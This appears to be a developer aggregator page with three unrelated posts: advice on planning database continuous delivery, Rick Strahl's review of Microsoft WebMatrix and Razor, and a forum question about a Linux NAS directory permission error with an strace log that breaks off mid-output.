As mentioned, unless there’s buy-in “from the top”, you’re going to hit problems when the implementation starts to get rocky (and what tool/process implementations don’t get rocky?!). You need to have support from someone senior in your organisation – someone you can turn to when you need help with a delayed implementation, lack of resources or lack of progress. Actions: Get your DBA involved (or whoever looks after live deployments) and discuss what you’re planning to do or, if you’re the DBA yourself, get the dev team up-to-speed with your plans, Get your boss involved too and make sure he/she is bought in to the investment. Environments Where are you going to deploy to? And really this question is – what environments do you want set up for your deployment pipeline? Assume everyone has “Production”, but do you have a QA environment? Dedicated development environments for each dev? Proper pre-production? I’ve seen every setup under the sun, and there is often a big difference between “What we want, to do continuous delivery properly” and “What we’re currently stuck with”. Some of these differences are: What we want What we’ve got Each developer with their own dedicated database environment A single shared “development” environment, used by everyone at once An Integration box used to test the integration of all check-ins via the CI process, along with a full suite of unit-tests running on that machine In fact if you have a CI process running, you’re likely to have some sort of integration server running (even if you don’t call it that!). Whether you have a full suite of unit tests running is a different question… Separate QA environment used explicitly for manual testing prior to release “We just test on the dev environments, or maybe pre-production” A proper pre-production (or “staging”) box that matches production as closely as possible Hopefully a pre-production box of some sort. But does it match production closely!? A production environment reproducible from source control A production box which has drifted significantly from anything in source control The big question is – how much time and effort are you going to invest in fixing these issues? In reality this just involves figuring out which new databases you’re going to create and where they’ll be hosted – VMs? Cloud-based? What about size/data issues – what data are you going to include on dev environments? Does it need to be masked to protect access to production data? And often the amount of work here really depends on whether you’re working on a new, greenfield project, or trying to update an existing, brownfield application. There’s a world if difference between starting from scratch with 4 or 5 clean environments (reproducible from source control of course!), and trying to re-purpose and tweak a set of existing databases, with all of their surrounding processes and quirks. But for a proper release management process, ideally you have: Dedicated development databases, An Integration server used for testing continuous integration and running unit tests. [NB: This is the point at which deployments are automatic, without human intervention. Each deployment after this point is a one-click (but human) action], QA – QA engineers use a one-click deployment process to automatically* deploy chosen releases to QA for testing, Pre-production. The environment you use to test the production release process, Production. * A note on the use of the word “automatic” – when carrying out automated deployments this does not mean that the deployment is happening without human intervention (i.e. that something is just deploying over and over again). It means that the process of carrying out the deployment is automatic in that it’s not a person manually running through a checklist or set of actions. The deployment still requires a single-click from a user. Actions: Get your environments set up and ready, Set access permissions appropriately, Make sure everyone understands what the environments will be used for (it’s not a “free-for-all” with all environments to be accessed, played with and changed by development). The Deployment Process As described earlier, most existing database deployment processes are pretty manual. The following is a description of a process we hear very often when we ask customers “How do your database changes get live? How does your manual process work?” Check pre-production matches production (use a schema compare tool, like SQL Compare). Sometimes done by taking a backup from production and restoring in to pre-prod, Again, use a schema compare tool to find the differences between the latest version of the database ready to go live (i.e. what the team have been developing). This generates a script, User (generally, the DBA), reviews the script. This often involves manually checking updates against a spreadsheet or similar, Run the script on pre-production, and check there are no errors (i.e. it upgrades pre-production to what you hoped), If all working, run the script on production.* * this assumes there’s no problem with production drifting away from pre-production in the interim time period (i.e. someone has hacked something in to the production box without going through the proper change management process). This difference could undermine the validity of your pre-production deployment test. Red Gate is currently working on a free tool to detect this problem – sign up here at www.sqllighthouse.com, if you’re interested in testing early versions. There are several variations on this process – some better, some much worse! How do you automate this? In particular, step 3 – surely you can’t automate a DBA checking through a script, that everything is in order!? The key point here is to plan what you want in your new deployment process. There are so many options. At one extreme, pure continuous deployment – whenever a dev checks something in to source control, the CI process runs (including extensive and thorough testing!), before the deployment process keys in and automatically deploys that change to the live box. Not for the faint hearted – and really not something we recommend. At the other extreme, you might be more comfortable with a semi-automated process – the pre-production/production matching process is automated (with an error thrown if these environments don’t match), followed by a manual intervention, allowing for script approval by the DBA. One he/she clicks “Okay, I’m happy for that to go live”, the latter stages automatically take the script through to live. And anything in between of course – and other variations. But we’d strongly recommended sitting down with a whiteboard and your team, and spending a couple of hours mapping out “What do we do now?”, “What do we actually want?”, “What will satisfy our needs for continuous delivery, but still maintaining some sort of continuous control over the process?” NB: Most of what we’re discussing here is about production deployments. It’s important to note that you will also need to map out a deployment process for earlier environments (for example QA). However, these are likely to be less onerous, and many customers opt for a much more automated process for these boxes. Actions: Sit down with your team and a whiteboard, and draw out the answers to the questions above for your production deployments – “What do we do now?”, “What do we actually want?”, “What will satisfy our needs for continuous delivery, but still maintaining some sort of continuous control over the process?” Repeat for earlier environments (QA and so on). Rollback and Recovery If only every deployment went according to plan! Unfortunately they don’t – and when things go wrong, you need a rollback or recovery plan for what you’re going to do in that situation. Once you move in to a more automated database deployment process, you’re far more likely to be deploying more frequently than before. No longer once every 6 months, maybe now once per week, or even daily. Hence the need for a quick rollback or recovery process becomes paramount, and should be planned for. NB: These are mainly scenarios for handling rollbacks after the transaction has been committed. If a failure is detected during the transaction, the whole transaction can just be rolled back, no problem. There are various options, which we’ll explore in subsequent articles, things like: Immediately restore from backup, Have a pre-tested rollback script (remembering that really this is a “roll-forward” script – there’s not really such a thing as a rollback script for a database!) Have fallback environments – for example, using a blue-green deployment pattern. Different options have pros and cons – some are easier to set up, some require more investment in infrastructure; and of course some work better than others (the key issue with using backups, is loss of the interim transaction data that has been added between the failed deployment and the restore). The best mechanism will be primarily dependent on how your application works and how much you need a cast-iron failsafe mechanism. Actions: Work out an appropriate rollback strategy based on how your application and business works, your appetite for investment and requirements for a completely failsafe process. Development Practices This is perhaps the more difficult area for people to tackle. The process by which you can deploy database updates is actually intrinsically linked with the patterns and practices used to develop that database and linked application. So you need to decide whether you want to implement some changes to the way your developers actually develop the database (particularly schema changes) to make the deployment process easier. A good example is the pattern “Branch by abstraction”. Explained nicely here, by Martin Fowler, this is a process that can be used to make significant database changes (e.g. splitting a table) in a step-wise manner so that you can always roll back, without data loss – by making incremental updates to the database backward compatible. Slides 103-108 of the following slidedeck, from Niek Bartholomeus explain the process: https://speakerdeck.com/niekbartho/orchestration-in-meatspace As these slides show, by making a significant schema change in multiple steps – where each step can be rolled back without any loss of new data – this affords the release team the opportunity to have zero-downtime deployments with considerably less stress (because if an increment goes wrong, they can roll back easily). There are plenty more great patterns that can be implemented – the book Refactoring Databases, by Scott Ambler and Pramod Sadalage is a great read, if this is a direction you want to go in: http://www.amazon.com/Refactoring-Databases-Evolutionary-paperback-Addison-Wesley/dp/0321774515 But the question is – how much of this investment are you willing to make? How often are you making significant schema changes that would require these best practices? Again, there’s a difference here between migrating old projects and starting afresh – with the latter it’s much easier to instigate best practice from the start. Actions: For your business, work out how far down the path you want to go, amending your database development patterns to “best practice”. It’s a trade-off between implementing quality processes, and the necessity to do so (depending on how often you make complex changes). Socialise these changes with your development group. No-one likes having “best practice” changes imposed on them, so good to introduce these ideas and the rationale behind them early.   Summary The next stages of implementing a continuous delivery pipeline for your database changes (once you have CI up and running) require a little pre-planning, if you want to get the most out of the work, and for the implementation to go smoothly. We’ve covered some of the checklist of areas to consider – mainly in the areas of “Getting the team ready for the changes that are coming” and “Planning our your pipeline, environments, patterns and practices for development”, though there will be more detail, depending on where you’re coming from – and where you want to get to. This article is part of our database delivery patterns & practices series on Simple Talk. Find more articles for version control, automated testing, continuous integration & deployment.

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  • Microsoft Introduces WebMatrix

    - by Rick Strahl
    originally published in CoDe Magazine Editorial Microsoft recently released the first CTP of a new development environment called WebMatrix, which along with some of its supporting technologies are squarely aimed at making the Microsoft Web Platform more approachable for first-time developers and hobbyists. But in the process, it also provides some updated technologies that can make life easier for existing .NET developers. Let’s face it: ASP.NET development isn’t exactly trivial unless you already have a fair bit of familiarity with sophisticated development practices. Stick a non-developer in front of Visual Studio .NET or even the Visual Web Developer Express edition and it’s not likely that the person in front of the screen will be very productive or feel inspired. Yet other technologies like PHP and even classic ASP did provide the ability for non-developers and hobbyists to become reasonably proficient in creating basic web content quickly and efficiently. WebMatrix appears to be Microsoft’s attempt to bring back some of that simplicity with a number of technologies and tools. The key is to provide a friendly and fully self-contained development environment that provides all the tools needed to build an application in one place, as well as tools that allow publishing of content and databases easily to the web server. WebMatrix is made up of several components and technologies: IIS Developer Express IIS Developer Express is a new, self-contained development web server that is fully compatible with IIS 7.5 and based on the same codebase that IIS 7.5 uses. This new development server replaces the much less compatible Cassini web server that’s been used in Visual Studio and the Express editions. IIS Express addresses a few shortcomings of the Cassini server such as the inability to serve custom ISAPI extensions (i.e., things like PHP or ASP classic for example), as well as not supporting advanced authentication. IIS Developer Express provides most of the IIS 7.5 feature set providing much better compatibility between development and live deployment scenarios. SQL Server Compact 4.0 Database access is a key component for most web-driven applications, but on the Microsoft stack this has mostly meant you have to use SQL Server or SQL Server Express. SQL Server Compact is not new-it’s been around for a few years, but it’s been severely hobbled in the past by terrible tool support and the inability to support more than a single connection in Microsoft’s attempt to avoid losing SQL Server licensing. The new release of SQL Server Compact 4.0 supports multiple connections and you can run it in ASP.NET web applications simply by installing an assembly into the bin folder of the web application. In effect, you don’t have to install a special system configuration to run SQL Compact as it is a drop-in database engine: Copy the small assembly into your BIN folder (or from the GAC if installed fully), create a connection string against a local file-based database file, and then start firing SQL requests. Additionally WebMatrix includes nice tools to edit the database tables and files, along with tools to easily upsize (and hopefully downsize in the future) to full SQL Server. This is a big win, pending compatibility and performance limits. In my simple testing the data engine performed well enough for small data sets. This is not only useful for web applications, but also for desktop applications for which a fully installed SQL engine like SQL Server would be overkill. Having a local data store in those applications that can potentially be accessed by multiple users is a welcome feature. ASP.NET Razor View Engine What? Yet another native ASP.NET view engine? We already have Web Forms and various different flavors of using that view engine with Web Forms and MVC. Do we really need another? Microsoft thinks so, and Razor is an implementation of a lightweight, script-only view engine. Unlike the Web Forms view engine, Razor works only with inline code, snippets, and markup; therefore, it is more in line with current thinking of what a view engine should represent. There’s no support for a “page model” or any of the other Web Forms features of the full-page framework, but just a lightweight scripting engine that works with plain markup plus embedded expressions and code. The markup syntax for Razor is geared for minimal typing, plus some progressive detection of where a script block/expression starts and ends. This results in a much leaner syntax than the typical ASP.NET Web Forms alligator (<% %>) tags. Razor uses the @ sign plus standard C# (or Visual Basic) block syntax to delineate code snippets and expressions. Here’s a very simple example of what Razor markup looks like along with some comment annotations: <!DOCTYPE html> <html>     <head>         <title></title>     </head>     <body>     <h1>Razor Test</h1>          <!-- simple expressions -->     @DateTime.Now     <hr />     <!-- method expressions -->     @DateTime.Now.ToString("T")          <!-- code blocks -->     @{         List<string> names = new List<string>();         names.Add("Rick");         names.Add("Markus");         names.Add("Claudio");         names.Add("Kevin");     }          <!-- structured block statements -->     <ul>     @foreach(string name in names){             <li>@name</li>     }     </ul>           <!-- Conditional code -->        @if(true) {                        <!-- Literal Text embedding in code -->        <text>         true        </text>;    }    else    {        <!-- Literal Text embedding in code -->       <text>       false       </text>;    }    </body> </html> Like the Web Forms view engine, Razor parses pages into code, and then executes that run-time compiled code. Effectively a “page” becomes a code file with markup becoming literal text written into the Response stream, code snippets becoming raw code, and expressions being written out with Response.Write(). The code generated from Razor doesn’t look much different from similar Web Forms code that only uses script tags; so although the syntax may look different, the operational model is fairly similar to the Web Forms engine minus the overhead of the large Page object model. However, there are differences: -Razor pages are based on a new base class, Microsoft.WebPages.WebPage, which is hosted in the Microsoft.WebPages assembly that houses all the Razor engine parsing and processing logic. Browsing through the assembly (in the generated ASP.NET Temporary Files folder or GAC) will give you a good idea of the functionality that Razor provides. If you look closely, a lot of the feature set matches ASP.NET MVC’s view implementation as well as many of the helper classes found in MVC. It’s not hard to guess the motivation for this sort of view engine: For beginning developers the simple markup syntax is easier to work with, although you obviously still need to have some understanding of the .NET Framework in order to create dynamic content. The syntax is easier to read and grok and much shorter to type than ASP.NET alligator tags (<% %>) and also easier to understand aesthetically what’s happening in the markup code. Razor also is a better fit for Microsoft’s vision of ASP.NET MVC: It’s a new view engine without the baggage of Web Forms attached to it. The engine is more lightweight since it doesn’t carry all the features and object model of Web Forms with it and it can be instantiated directly outside of the HTTP environment, which has been rather tricky to do for the Web Forms view engine. Having a standalone script parser is a huge win for other applications as well – it makes it much easier to create script or meta driven output generators for many types of applications from code/screen generators, to simple form letters to data merging applications with user customizability. For me personally this is very useful side effect and who knows maybe Microsoft will actually standardize they’re scripting engines (die T4 die!) on this engine. Razor also better fits the “view-based” approach where the view is supposed to be mostly a visual representation that doesn’t hold much, if any, code. While you can still use code, the code you do write has to be self-contained. Overall I wouldn’t be surprised if Razor will become the new standard view engine for MVC in the future – and in fact there have been announcements recently that Razor will become the default script engine in ASP.NET MVC 3.0. Razor can also be used in existing Web Forms and MVC applications, although that’s not working currently unless you manually configure the script mappings and add the appropriate assemblies. It’s possible to do it, but it’s probably better to wait until Microsoft releases official support for Razor scripts in Visual Studio. Once that happens, you can simply drop .cshtml and .vbhtml pages into an existing ASP.NET project and they will work side by side with classic ASP.NET pages. WebMatrix Development Environment To tie all of these three technologies together, Microsoft is shipping WebMatrix with an integrated development environment. An integrated gallery manager makes it easy to download and load existing projects, and then extend them with custom functionality. It seems to be a prominent goal to provide community-oriented content that can act as a starting point, be it via a custom templates or a complete standard application. The IDE includes a project manager that works with a single project and provides an integrated IDE/editor for editing the .cshtml and .vbhtml pages. A run button allows you to quickly run pages in the project manager in a variety of browsers. There’s no debugging support for code at this time. Note that Razor pages don’t require explicit compilation, so making a change, saving, and then refreshing your page in the browser is all that’s needed to see changes while testing an application locally. It’s essentially using the auto-compiling Web Project that was introduced with .NET 2.0. All code is compiled during run time into dynamically created assemblies in the ASP.NET temp folder. WebMatrix also has PHP Editing support with syntax highlighting. You can load various PHP-based applications from the WebMatrix Web Gallery directly into the IDE. Most of the Web Gallery applications are ready to install and run without further configuration, with Wizards taking you through installation of tools, dependencies, and configuration of the database as needed. WebMatrix leverages the Web Platform installer to pull the pieces down from websites in a tight integration of tools that worked nicely for the four or five applications I tried this out on. Click a couple of check boxes and fill in a few simple configuration options and you end up with a running application that’s ready to be customized. Nice! You can easily deploy completed applications via WebDeploy (to an IIS server) or FTP directly from within the development environment. The deploy tool also can handle automatically uploading and installing the database and all related assemblies required, making deployment a simple one-click install step. Simplified Database Access The IDE contains a database editor that can edit SQL Compact and SQL Server databases. There is also a Database helper class that facilitates database access by providing easy-to-use, high-level query execution and iteration methods: @{       var db = Database.OpenFile("FirstApp.sdf");     string sql = "select * from customers where Id > @0"; } <ul> @foreach(var row in db.Query(sql,1)){         <li>@row.FirstName @row.LastName</li> } </ul> The query function takes a SQL statement plus any number of positional (@0,@1 etc.) SQL parameters by simple values. The result is returned as a collection of rows which in turn have a row object with dynamic properties for each of the columns giving easy (though untyped) access to each of the fields. Likewise Execute and ExecuteNonQuery allow execution of more complex queries using similar parameter passing schemes. Note these queries use string-based queries rather than LINQ or Entity Framework’s strongly typed LINQ queries. While this may seem like a step back, it’s also in line with the expectations of non .NET script developers who are quite used to writing and using SQL strings in code rather than using OR/M frameworks. The only question is why was something not included from the beginning in .NET and Microsoft made developers build custom implementations of these basic building blocks. The implementation looks a lot like a DataTable-style data access mechanism, but to be fair, this is a common approach in scripting languages. This type of syntax that uses simple, static, data object methods to perform simple data tasks with one line of code are common in scripting languages and are a good match for folks working in PHP/Python, etc. Seems like Microsoft has taken great advantage of .NET 4.0’s dynamic typing to provide this sort of interface for row iteration where each row has properties for each field. FWIW, all the examples demonstrate using local SQL Compact files - I was unable to get a SQL Server connection string to work with the Database class (the connection string wasn’t accepted). However, since the code in the page is still plain old .NET, you can easily use standard ADO.NET code or even LINQ or Entity Framework models that are created outside of WebMatrix in separate assemblies as required. The good the bad the obnoxious - It’s still .NET The beauty (or curse depending on how you look at it :)) of Razor and the compilation model is that, behind it all, it’s still .NET. Although the syntax may look foreign, it’s still all .NET behind the scenes. You can easily access existing tools, helpers, and utilities simply by adding them to the project as references or to the bin folder. Razor automatically recognizes any assembly reference from assemblies in the bin folder. In the default configuration, Microsoft provides a host of helper functions in a Microsoft.WebPages assembly (check it out in the ASP.NET temp folder for your application), which includes a host of HTML Helpers. If you’ve used ASP.NET MVC before, a lot of the helpers should look familiar. Documentation at the moment is sketchy-there’s a very rough API reference you can check out here: http://www.asp.net/webmatrix/tutorials/asp-net-web-pages-api-reference Who needs WebMatrix? Uhm… good Question Clearly Microsoft is trying hard to create an environment with WebMatrix that is easy to use for newbie developers. The goal seems to be simplicity in providing a minimal development environment and an easy-to-use script engine/language that makes it easy to get started with. There’s also some focus on community features that can be used as starting points, such as Web Gallery applications and templates. The community features in particular are very nice and something that would be nice to eventually see in Visual Studio as well. The question is whether this is too little too late. Developers who have been clamoring for a simpler development environment on the .NET stack have mostly left for other simpler platforms like PHP or Python which are catering to the down and dirty developer. Microsoft will be hard pressed to win those folks-and other hardcore PHP developers-back. Regardless of how much you dress up a script engine fronted by the .NET Framework, it’s still the .NET Framework and all the complexity that drives it. While .NET is a fine solution in its breadth and features once you get a basic handle on the core features, the bar of entry to being productive with the .NET Framework is still pretty high. The MVC style helpers Microsoft provides are a good step in the right direction, but I suspect it’s not enough to shield new developers from having to delve much deeper into the Framework to get even basic applications built. Razor and its helpers is trying to make .NET more accessible but the reality is that in order to do useful stuff that goes beyond the handful of simple helpers you still are going to have to write some C# or VB or other .NET code. If the target is a hobby/amateur/non-programmer the learning curve isn’t made any easier by WebMatrix it’s just been shifted a tad bit further along in your development endeavor when you run out of canned components that are supplied either by Microsoft or the community. The database helpers are interesting and actually I’ve heard a lot of discussion from various developers who’ve been resisting .NET for a really long time perking up at the prospect of easier data access in .NET than the ridiculous amount of code it takes to do even simple data access with raw ADO.NET. It seems sad that such a simple concept and implementation should trigger this sort of response (especially since it’s practically trivial to create helpers like these or pick them up from countless libraries available), but there it is. It also shows that there are plenty of developers out there who are more interested in ‘getting stuff done’ easily than necessarily following the latest and greatest practices which are overkill for many development scenarios. Sometimes it seems that all of .NET is focused on the big life changing issues of development, rather than the bread and butter scenarios that many developers are interested in to get their work accomplished. And that in the end may be WebMatrix’s main raison d'être: To bring some focus back at Microsoft that simpler and more high level solutions are actually needed to appeal to the non-high end developers as well as providing the necessary tools for the high end developers who want to follow the latest and greatest trends. The current version of WebMatrix hits many sweet spots, but it also feels like it has a long way to go before it really can be a tool that a beginning developer or an accomplished developer can feel comfortable with. Although there are some really good ideas in the environment (like the gallery for downloading apps and components) which would be a great addition for Visual Studio as well, the rest of the development environment just feels like crippleware with required functionality missing especially debugging and Intellisense, but also general editor support. It’s not clear whether these are because the product is still in an early alpha release or whether it’s simply designed that way to be a really limited development environment. While simple can be good, nobody wants to feel left out when it comes to necessary tool support and WebMatrix just has that left out feeling to it. If anything WebMatrix’s technology pieces (which are really independent of the WebMatrix product) are what are interesting to developers in general. The compact IIS implementation is a nice improvement for development scenarios and SQL Compact 4.0 seems to address a lot of concerns that people have had and have complained about for some time with previous SQL Compact implementations. By far the most interesting and useful technology though seems to be the Razor view engine for its light weight implementation and it’s decoupling from the ASP.NET/HTTP pipeline to provide a standalone scripting/view engine that is pluggable. The first winner of this is going to be ASP.NET MVC which can now have a cleaner view model that isn’t inconsistent due to the baggage of non-implemented WebForms features that don’t work in MVC. But I expect that Razor will end up in many other applications as a scripting and code generation engine eventually. Visual Studio integration for Razor is currently missing, but is promised for a later release. The ASP.NET MVC team has already mentioned that Razor will eventually become the default MVC view engine, which will guarantee continued growth and development of this tool along those lines. And the Razor engine and support tools actually inherit many of the features that MVC pioneered, so there’s some synergy flowing both ways between Razor and MVC. As an existing ASP.NET developer who’s already familiar with Visual Studio and ASP.NET development, the WebMatrix IDE doesn’t give you anything that you want. The tools provided are minimal and provide nothing that you can’t get in Visual Studio today, except the minimal Razor syntax highlighting, so there’s little need to take a step back. With Visual Studio integration coming later there’s little reason to look at WebMatrix for tooling. It’s good to see that Microsoft is giving some thought about the ease of use of .NET as a platform For so many years, we’ve been piling on more and more new features without trying to take a step back and see how complicated the development/configuration/deployment process has become. Sometimes it’s good to take a step - or several steps - back and take another look and realize just how far we’ve come. WebMatrix is one of those reminders and one that likely will result in some positive changes on the platform as a whole. © Rick Strahl, West Wind Technologies, 2005-2010Posted in ASP.NET   IIS7  

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  • Linux (NAS) Permissions problem (Permission Denied)

    - by calumbrodie
    This is probably easier to show than to explain... -bash-3.2$ id uid=501(admin) gid=503(admin) groups=100(users),501(admins),503(admin) -bash-3.2$ groups admin users admins -bash-3.2$ ls -l total 8 drwxrwxrwx 78 admin www 4096 Dec 9 09:02 Inbox drwxrwxrwx 21 admin www 4096 Dec 8 21:45 Movies drwxrwx--- 3 admin www 52 Dec 9 07:57 TV -bash-3.2$ cd Movies -bash-3.2$ ls -l total 20 drwxrwx--- 7 admin www 4096 Dec 8 00:04 Action drwxrwx--- 6 admin www 4096 Dec 8 00:05 Animation drwxrwx--- 4 admin www 4096 Dec 8 00:17 Comedy drwxrwx--- 4 admin www 4096 Dec 8 00:14 Drama drwxrwx--- 4 admin www 4096 Dec 8 00:14 Family drwxrwx--- 6 admin www 58 Dec 6 19:10 Foreign Language drwxrwx--- 2 admin www 31 Dec 7 23:58 Horror drwxrwx--- 3 admin www 50 Dec 8 00:15 Science Fiction drwxrwx--- 2 admin www 6 Dec 8 00:16 Thriller -bash-3.2$ cd ../Inbox -bash: cd: ../Inbox: Permission denied Filesystem is XFS. Are there permissions on the directories that ls -l wouldn't show? I'm the owner of all directories and files inside them. I can sudo to modify the file permissions or view the contents of the folders but I need them to be accessible by 'admin'. Any ideas? I'll be checking the question regularly so let me know if I need to update this with more information. Thanks Edit : Added strace execve("/bin/ls", ["ls", "Inbox"], [/* 21 vars */]) = 0 brk(0) = 0x26000 uname({sys="Linux", node="axentraserver.the-brodie-stora.mystora.com", ...}) = 0 mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x4001c000 access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory) open("/etc/ld.so.cache", O_RDONLY) = 3 fstat64(3, {st_mode=S_IFREG|0644, st_size=17972, ...}) = 0 mmap2(NULL, 17972, PROT_READ, MAP_PRIVATE, 3, 0) = 0x4001d000 close(3) = 0 open("/lib/librt.so.1", O_RDONLY) = 3 read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0(\0\1\0\0\0P\25\0\0004\0\0\0"..., 512) = 512 fstat64(3, {st_mode=S_IFREG|0755, st_size=39776, ...}) = 0 mmap2(NULL, 57816, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x40025000 mprotect(0x4002b000, 28672, PROT_NONE) = 0 mmap2(0x40032000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x5) = 0x40032000 close(3) = 0 open("/lib/libacl.so.1", O_RDONLY) = 3 read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0(\0\1\0\0\0\0\24\0\0004\0\0\0"..., 512) = 512 fstat64(3, {st_mode=S_IFREG|0755, st_size=134375, ...}) = 0 mmap2(NULL, 54368, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x40034000 mprotect(0x4003a000, 28672, PROT_NONE) = 0 mmap2(0x40041000, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x5) = 0x40041000 close(3) = 0 open("/lib/libselinux.so.1", O_RDONLY) = 3 read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0(\0\1\0\0\0\2147\0\0004\0\0\0"..., 512) = 512 fstat64(3, {st_mode=S_IFREG|0755, st_size=297439, ...}) = 0 mmap2(NULL, 117504, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x40042000 mprotect(0x40056000, 28672, PROT_NONE) = 0 mmap2(0x4005d000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x13) = 0x4005d000 close(3) = 0 open("/lib/libgcc_s.so.1", O_RDONLY) = 3 read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0(\0\1\0\0\0\10\"\0\0004\0\0\0"..., 512) = 512 fstat64(3, {st_mode=S_IFREG|0755, st_size=43164, ...}) = 0 mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40022000 mmap2(NULL, 74572, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x4005f000 mprotect(0x4006a000, 28672, PROT_NONE) = 0 mmap2(0x40071000, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0xa) = 0x40071000 close(3) = 0 open("/lib/libc.so.6", O_RDONLY) = 3 read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0(\0\1\0\0\0XI\1\0004\0\0\0"..., 512) = 512 fstat64(3, {st_mode=S_IFREG|0755, st_size=1517948, ...}) = 0 mmap2(NULL, 1245628, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x40072000 mprotect(0x40195000, 32768, PROT_NONE) = 0 mmap2(0x4019d000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x123) = 0x4019d000 mmap2(0x401a0000, 8636, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x401a0000 close(3) = 0 open("/lib/libpthread.so.0", O_RDONLY) = 3 read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0(\0\1\0\0\0\230A\0\0004\0\0\0"..., 512) = 512 fstat64(3, {st_mode=S_IFREG|0755, st_size=121044, ...}) = 0 mmap2(NULL, 115184, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x401a3000 mprotect(0x401b5000, 28672, PROT_NONE) = 0 mmap2(0x401bc000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x11) = 0x401bc000 mmap2(0x401be000, 4592, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x401be000 close(3) = 0 open("/lib/libattr.so.1", O_RDONLY) = 3 read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0(\0\1\0\0\0\364\f\0\0004\0\0\0"..., 512) = 512 fstat64(3, {st_mode=S_IFREG|0755, st_size=40571, ...}) = 0 mmap2(NULL, 45512, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x401c0000 mprotect(0x401c3000, 32768, PROT_NONE) = 0 mmap2(0x401cb000, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x3) = 0x401cb000 close(3) = 0 open("/lib/libdl.so.2", O_RDONLY) = 3 read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0(\0\1\0\0\0\254\10\0\0004\0\0\0"..., 512) = 512 fstat64(3, {st_mode=S_IFREG|0755, st_size=15344, ...}) = 0 mmap2(NULL, 41116, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x401cc000 mprotect(0x401ce000, 28672, PROT_NONE) = 0 mmap2(0x401d5000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1) = 0x401d5000 close(3) = 0 open("/lib/libsepol.so.1", O_RDONLY) = 3 read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0(\0\1\0\0\0\330/\0\0004\0\0\0"..., 512) = 512 fstat64(3, {st_mode=S_IFREG|0755, st_size=228044, ...}) = 0 mmap2(NULL, 301748, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x401d7000 mprotect(0x4020f000, 28672, PROT_NONE) = 0 mmap2(0x40216000, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x37) = 0x40216000 mmap2(0x40217000, 39604, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x40217000 close(3) = 0 mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40221000 mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40222000 set_tls(0x40221d00, 0x40221d00, 0x40024000, 0x402223e8, 0x41) = 0 mprotect(0x401d5000, 4096, PROT_READ) = 0 mprotect(0x401bc000, 4096, PROT_READ) = 0 mprotect(0x4019d000, 8192, PROT_READ) = 0 mprotect(0x4005d000, 4096, PROT_READ) = 0 mprotect(0x40032000, 4096, PROT_READ) = 0 mprotect(0x40023000, 4096, PROT_READ) = 0 munmap(0x4001d000, 17972) = 0 set_tid_address(0x402218a8) = 9539 set_robust_list(0x402218b0, 0xc) = 0 rt_sigaction(SIGRTMIN, {0x401a6d90, [], SA_SIGINFO|0x4000000}, NULL, 8) = 0 rt_sigaction(SIGRT_1, {0x401a6c64, [], SA_RESTART|SA_SIGINFO|0x4000000}, NULL, 8) = 0 rt_sigprocmask(SIG_UNBLOCK, [RTMIN RT_1], NULL, 8) = 0 getrlimit(RLIMIT_STACK, {rlim_cur=8192*1024, rlim_max=RLIM_INFINITY}) = 0 brk(0) = 0x26000 brk(0x47000) = 0x47000 open("/proc/mounts", O_RDONLY|O_LARGEFILE) = 3 fstat64(3, {st_mode=S_IFREG|0444, st_size=0, ...}) = 0 mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x4001d000 read(3, "rootfs / rootfs rw 0 0\nubi0:root"..., 1024) = 1024 